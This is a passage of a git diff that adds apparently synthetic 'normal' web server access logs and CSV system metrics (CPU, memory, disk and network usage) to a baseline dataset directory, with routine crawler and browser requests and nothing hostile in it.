user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:51 web-server-prod[1237]: GET /api/v1/users status=200 OK from_ip=66.249.66.3 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:54 web-server-prod[8599]: GET /articles/post-29 status=200 OK from_ip=66.249.66.6 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:53 web-server-prod[2484]: GET /search?q=test status=200 OK from_ip=66.249.66.9 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:51 web-server-prod[4841]: GET / status=200 OK from_ip=66.249.66.7 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:53 web-server-prod[8164]: GET / status=200 OK from_ip=66.249.66.1 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:52 web-server-prod[4877]: GET /api/v1/products status=200 OK from_ip=66.249.66.9 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:58 web-server-prod[8754]: GET /articles/post-71 status=200 OK from_ip=66.249.66.9 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:56 web-server-prod[4368]: GET / status=200 OK from_ip=66.249.66.1 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:59 web-server-prod[6202]: GET /api/v1/products status=200 OK from_ip=66.249.66.9 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:59 web-server-prod[7906]: GET / status=200 OK from_ip=66.249.66.6 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:58 web-server-prod[7725]: GET / status=200 OK from_ip=66.249.66.2 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:57 web-server-prod[1203]: GET / status=200 OK from_ip=66.249.66.7 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:57 web-server-prod[2038]: GET /api/v1/products status=200 OK from_ip=66.249.66.6 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:56 web-server-prod[1475]: GET /api/v1/products status=200 OK from_ip=66.249.66.1 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:59 web-server-prod[1136]: GET /search?q=test status=200 OK from_ip=66.249.66.5 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:04:59 web-server-prod[6150]: GET /search?q=test status=200 OK from_ip=66.249.66.9 user_agent='Googlebot/2.1 (+http://www.google.com/bot.html)' +Aug 27 10:05:00 systemd[1]: Starting daily clean up activities... +Aug 27 10:05:03 web-server-prod[4903]: GET /api/v1/products status=200 OK from_ip=192.168.1.76 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:04 web-server-prod[8396]: GET / status=200 OK from_ip=192.168.1.130 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:02 web-server-prod[2669]: GET /api/v1/users status=200 OK from_ip=192.168.1.121 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:09 web-server-prod[5029]: GET /articles/post-3 status=200 OK from_ip=192.168.1.158 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:09 web-server-prod[8930]: GET /search?q=test status=200 OK from_ip=192.168.1.186 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:11 web-server-prod[7131]: GET /api/v1/products status=200 OK from_ip=192.168.1.29 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:12 web-server-prod[8462]: GET /articles/post-40 status=200 OK from_ip=192.168.1.186 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:17 web-server-prod[4790]: GET /search?q=test status=200 OK from_ip=192.168.1.162 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:23 web-server-prod[5413]: GET /search?q=test status=200 OK from_ip=192.168.1.158 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:23 web-server-prod[8900]: GET / status=200 OK from_ip=192.168.1.31 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:20 web-server-prod[6122]: GET /search?q=test status=200 OK from_ip=192.168.1.57 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:26 web-server-prod[6104]: GET / status=200 OK from_ip=192.168.1.107 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:29 web-server-prod[9932]: GET /api/v1/products status=200 OK from_ip=192.168.1.77 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:05:29 web-server-prod[2084]: GET /api/v1/products status=200 OK from_ip=192.168.1.116 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:34 web-server-prod[9953]: GET /search?q=test status=200 OK from_ip=192.168.1.181 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:30 web-server-prod[2753]: GET /articles/post-5 status=200 OK from_ip=192.168.1.101 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:38 web-server-prod[5135]: GET /search?q=test status=200 OK from_ip=192.168.1.128 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:05:38 web-server-prod[5925]: GET / status=200 OK from_ip=192.168.1.179 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:44 web-server-prod[5130]: GET /api/v1/products status=200 OK from_ip=192.168.1.58 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:05:42 web-server-prod[1508]: GET /api/v1/users status=404 Not Found from_ip=192.168.1.79 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:05:49 web-server-prod[2854]: GET /api/v1/products status=200 OK from_ip=192.168.1.75 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:50 systemd[1]: Starting daily clean up activities... +Aug 27 10:05:54 web-server-prod[4582]: GET /api/v1/users status=200 OK from_ip=192.168.1.14 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:51 web-server-prod[5256]: GET /api/v1/products status=200 OK from_ip=192.168.1.18 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:05:59 web-server-prod[5130]: GET /api/v1/users status=200 OK from_ip=192.168.1.131 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:05:57 web-server-prod[8583]: GET /api/v1/users status=200 OK from_ip=192.168.1.108 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:00 web-server-prod[9885]: GET / status=200 OK from_ip=192.168.1.168 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:03 web-server-prod[6960]: GET /api/v1/products status=200 OK from_ip=192.168.1.79 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:07 web-server-prod[6188]: GET /articles/post-61 status=200 OK from_ip=192.168.1.154 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:06:11 web-server-prod[5664]: GET /api/v1/products status=200 OK from_ip=192.168.1.78 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:11 web-server-prod[2212]: GET /search?q=test status=200 OK from_ip=192.168.1.46 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:06:13 web-server-prod[1351]: GET /api/v1/products status=200 OK from_ip=192.168.1.120 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:06:19 web-server-prod[8336]: GET /articles/post-25 status=200 OK from_ip=192.168.1.69 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:06:19 web-server-prod[1514]: GET /articles/post-75 status=200 OK from_ip=192.168.1.55 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:06:15 web-server-prod[9388]: GET /api/v1/products status=200 OK from_ip=192.168.1.102 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:21 web-server-prod[7108]: GET /search?q=test status=200 OK from_ip=192.168.1.131 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:06:20 web-server-prod[2272]: GET /search?q=test status=200 OK from_ip=192.168.1.116 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:25 web-server-prod[3187]: GET /articles/post-78 status=200 OK from_ip=192.168.1.34 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:34 web-server-prod[7631]: GET / status=200 OK from_ip=192.168.1.12 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:32 web-server-prod[1965]: GET /api/v1/products status=200 OK from_ip=192.168.1.114 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:06:31 web-server-prod[1586]: GET /api/v1/users status=200 OK from_ip=192.168.1.175 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:06:35 web-server-prod[5322]: GET /search?q=test status=200 OK from_ip=192.168.1.101 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:06:40 systemd[1]: Starting daily clean up activities... +Aug 27 10:06:40 web-server-prod[7699]: GET /api/v1/products status=200 OK from_ip=192.168.1.150 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:43 web-server-prod[6315]: GET /search?q=test status=200 OK from_ip=192.168.1.108 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:45 web-server-prod[5712]: GET /search?q=test status=200 OK from_ip=192.168.1.178 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:48 web-server-prod[7027]: GET /articles/post-97 status=200 OK from_ip=192.168.1.121 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:46 web-server-prod[3013]: GET /articles/post-47 status=200 OK from_ip=192.168.1.137 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:53 web-server-prod[1922]: GET / status=200 OK from_ip=192.168.1.59 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:06:50 web-server-prod[6193]: GET /search?q=test status=200 OK from_ip=192.168.1.22 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:51 web-server-prod[5442]: GET /api/v1/users status=500 Internal Server Error from_ip=192.168.1.188 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:06:58 web-server-prod[2100]: GET /api/v1/products status=200 OK from_ip=192.168.1.18 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:06:59 web-server-prod[5956]: GET /search?q=test status=200 OK from_ip=192.168.1.152 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:07:03 web-server-prod[4316]: GET /api/v1/products status=200 OK from_ip=192.168.1.24 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:07:04 web-server-prod[3321]: GET / status=500 Internal Server Error from_ip=192.168.1.140 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:07:03 web-server-prod[7047]: GET /search?q=test status=200 OK from_ip=192.168.1.10 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:07:08 web-server-prod[5556]: GET /api/v1/users status=200 OK from_ip=192.168.1.56 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:07:09 web-server-prod[5086]: GET / status=200 OK from_ip=192.168.1.172 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:07:11 web-server-prod[8624]: GET /search?q=test status=500 Internal Server Error from_ip=192.168.1.50 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:07:10 web-server-prod[5801]: GET /api/v1/products status=500 Internal Server Error from_ip=192.168.1.116 user_agent='Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Mobile/15E148 Safari/604.1' +Aug 27 10:07:15 web-server-prod[2754]: GET /articles/post-22 status=404 Not Found from_ip=192.168.1.59 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:07:19 web-server-prod[8811]: GET /api/v1/products status=404 Not Found from_ip=192.168.1.66 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:07:18 web-server-prod[4054]: GET /api/v1/users status=200 OK from_ip=192.168.1.81 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:07:21 web-server-prod[3604]: GET /api/v1/users status=200 OK from_ip=192.168.1.68 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:07:22 web-server-prod[1266]: GET /api/v1/products status=200 OK from_ip=192.168.1.167 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:07:20 web-server-prod[5021]: GET /api/v1/users status=200 OK from_ip=192.168.1.17 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:07:25 web-server-prod[6828]: GET /api/v1/users status=404 Not Found from_ip=192.168.1.96 user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' +Aug 27 10:07:25 web-server-prod[4252]: GET /search?q=test status=200 OK from_ip=192.168.1.183 user_agent='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' diff --git a/norm_dataset/scenario_8/norm_8_28.csv b/norm_dataset/scenario_8/norm_8_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..2860e2d85941d16e049a1027c237e1c8a782d44c --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,14.2,37.38,32.74,1.03,1.38 +2025-08-22T10:00:05Z,11.39,40.81,28.7,1.19,1.8 +2025-08-22T10:00:10Z,11.84,42.91,37.13,1.78,1.54 +2025-08-22T10:00:15Z,15.0,37.23,28.34,1.95,1.51 +2025-08-22T10:00:20Z,12.58,39.88,24.14,1.32,1.17 +2025-08-22T10:00:25Z,10.56,38.39,27.98,1.9,1.3 +2025-08-22T10:00:30Z,16.0,38.77,20.27,1.36,1.5 +2025-08-22T10:00:35Z,12.77,41.85,33.69,1.93,1.52 +2025-08-22T10:00:40Z,10.59,45.85,28.76,1.06,1.06 +2025-08-22T10:00:45Z,12.76,41.36,26.17,1.13,1.64 +2025-08-22T10:00:50Z,11.21,43.64,28.26,1.33,1.55 +2025-08-22T10:00:55Z,17.14,47.41,27.31,1.24,1.91 +2025-08-22T10:01:00Z,11.62,42.34,30.95,1.68,1.19 +2025-08-22T10:01:05Z,11.38,48.32,20.3,1.01,1.34 +2025-08-22T10:01:10Z,19.61,44.86,34.54,1.21,1.61 +2025-08-22T10:01:15Z,12.04,45.54,20.57,1.1,1.17 +2025-08-22T10:01:20Z,18.95,44.43,29.14,1.33,1.02 +2025-08-22T10:01:25Z,17.43,43.11,31.69,1.16,1.03 +2025-08-22T10:01:30Z,14.4,41.2,27.96,1.56,1.12 +2025-08-22T10:01:35Z,19.25,43.0,28.86,1.92,1.85 +2025-08-22T10:01:40Z,12.11,40.09,25.7,1.51,1.56 +2025-08-22T10:01:45Z,16.24,45.75,30.5,1.07,1.11 +2025-08-22T10:01:50Z,12.14,46.44,29.69,1.4,1.45 +2025-08-22T10:01:55Z,13.02,39.97,25.02,1.74,1.95 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Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.79.96 - - [22/Aug/2025:10:04:02 ] "GET /about HTTP/1.1" 404 430 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.79.97 - - [22/Aug/2025:10:03:05 ] "GET /blog/post-2 HTTP/1.1" 200 12892 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.79.97 - - [22/Aug/2025:10:03:50 ] "GET /api/v1/data HTTP/1.1" 404 449 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.79.97 - - [22/Aug/2025:10:03:51 ] "GET /index.html HTTP/1.1" 200 6367 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.79.97 - - [22/Aug/2025:10:04:04 ] "GET /blog/post-2 HTTP/1.1" 200 5708 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.79.97 - - [22/Aug/2025:10:04:14 ] "GET /about HTTP/1.1" 301 437 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.79.97 - - [22/Aug/2025:10:04:45 ] "GET /products/12 HTTP/1.1" 200 14161 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.79.98 - - [22/Aug/2025:10:02:19 ] "GET /about HTTP/1.1" 200 12690 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.79.98 - - [22/Aug/2025:10:02:49 ] "GET /index.html HTTP/1.1" 200 10567 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.79.98 - - [22/Aug/2025:10:04:34 ] "GET /products/12 HTTP/1.1" 200 11603 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +66.249.79.99 - - [22/Aug/2025:10:02:14 ] "GET /contact HTTP/1.1" 200 12188 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" diff --git a/norm_dataset/scenario_8/norm_8_29.csv b/norm_dataset/scenario_8/norm_8_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..dfcdaf1bdfb676cde0055cc8426835b641a5dc62 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,13.63,47.85,30.77,1.36,1.12 +2025-08-22T10:00:05Z,11.53,41.75,31.77,1.73,1.56 +2025-08-22T10:00:10Z,11.61,45.22,24.76,1.1,1.26 +2025-08-22T10:00:15Z,10.92,48.71,38.94,1.02,1.07 +2025-08-22T10:00:20Z,14.52,45.42,25.28,1.69,1.4 +2025-08-22T10:00:25Z,17.67,42.43,27.09,1.62,1.02 +2025-08-22T10:00:30Z,15.82,48.19,25.59,1.62,1.29 +2025-08-22T10:00:35Z,18.21,47.81,39.89,1.99,1.62 +2025-08-22T10:00:40Z,19.16,40.41,38.56,1.24,1.77 +2025-08-22T10:00:45Z,15.53,40.84,25.54,1.13,1.35 +2025-08-22T10:00:50Z,12.89,47.36,38.04,1.45,1.25 +2025-08-22T10:00:55Z,12.66,45.6,30.28,1.25,1.43 +2025-08-22T10:01:00Z,15.68,46.04,20.82,1.61,1.96 +2025-08-22T10:01:05Z,19.82,43.98,37.86,1.48,1.72 +2025-08-22T10:01:10Z,19.23,40.1,22.2,1.54,1.67 +2025-08-22T10:01:15Z,19.68,48.97,22.17,1.3,1.42 +2025-08-22T10:01:20Z,16.04,45.07,29.93,1.6,1.99 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+2025-08-22T10:06:20Z,15.95,47.75,38.14,1.52,1.9 +2025-08-22T10:06:25Z,10.5,44.25,34.41,1.93,1.13 +2025-08-22T10:06:30Z,15.65,43.57,37.29,1.77,1.8 +2025-08-22T10:06:35Z,10.4,47.31,39.01,1.04,1.68 +2025-08-22T10:06:40Z,14.27,45.96,28.73,1.1,1.55 +2025-08-22T10:06:45Z,17.24,44.19,30.71,1.42,1.08 +2025-08-22T10:06:50Z,17.85,49.01,22.56,1.22,1.65 +2025-08-22T10:06:55Z,19.81,40.11,29.59,1.93,1.67 +2025-08-22T10:07:00Z,17.79,43.89,29.11,1.24,1.87 +2025-08-22T10:07:05Z,18.42,47.84,23.26,1.78,1.55 +2025-08-22T10:07:10Z,12.75,43.18,38.54,1.07,1.87 +2025-08-22T10:07:15Z,10.35,43.78,24.36,1.41,1.23 +2025-08-22T10:07:20Z,12.59,45.07,25.51,1.11,1.71 +2025-08-22T10:07:25Z,11.65,45.19,35.32,1.2,1.42 diff --git a/norm_dataset/scenario_8/norm_8_29.log b/norm_dataset/scenario_8/norm_8_29.log new file mode 100644 index 0000000000000000000000000000000000000000..b4ee53933b1da2dcfb6ca7f6d4fcaf8c74f2c4d5 --- /dev/null +++ b/norm_dataset/scenario_8/norm_8_29.log @@ -0,0 +1,562 @@ +Aug 22 10:00:00 web-app[2233]: 87.131.184.58 - - [22/Aug/2025:10:00:00 ] "GET /blog/latest-news HTTP/1.1" 200 7566 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:02 web-app[2233]: 215.17.21.88 - - [22/Aug/2025:10:00:02 ] "GET /api/v1/user/42 HTTP/1.1" 200 1380 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:00:03 web-app[2233]: 46.56.56.175 - - [22/Aug/2025:10:00:03 ] "GET /search?q=gemini HTTP/1.1" 200 1828 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:09 web-app[2233]: 133.172.15.199 - - [22/Aug/2025:10:00:09 ] "GET /search?q=gemini HTTP/1.1" 404 5848 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:10 web-app[2233]: 35.195.202.65 - - [22/Aug/2025:10:00:10 ] "GET /blog/latest-news HTTP/1.1" 200 2072 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" +Aug 22 10:00:13 web-app[2233]: 146.205.28.40 - - [22/Aug/2025:10:00:13 ] "GET /api/v1/user/42 HTTP/1.1" 200 4233 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15" +Aug 22 10:00:14 web-app[2233]: 124.29.204.128 - - [22/Aug/2025:10:00:14 ] "GET /search?q=gemini HTTP/1.1" 200 6205 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 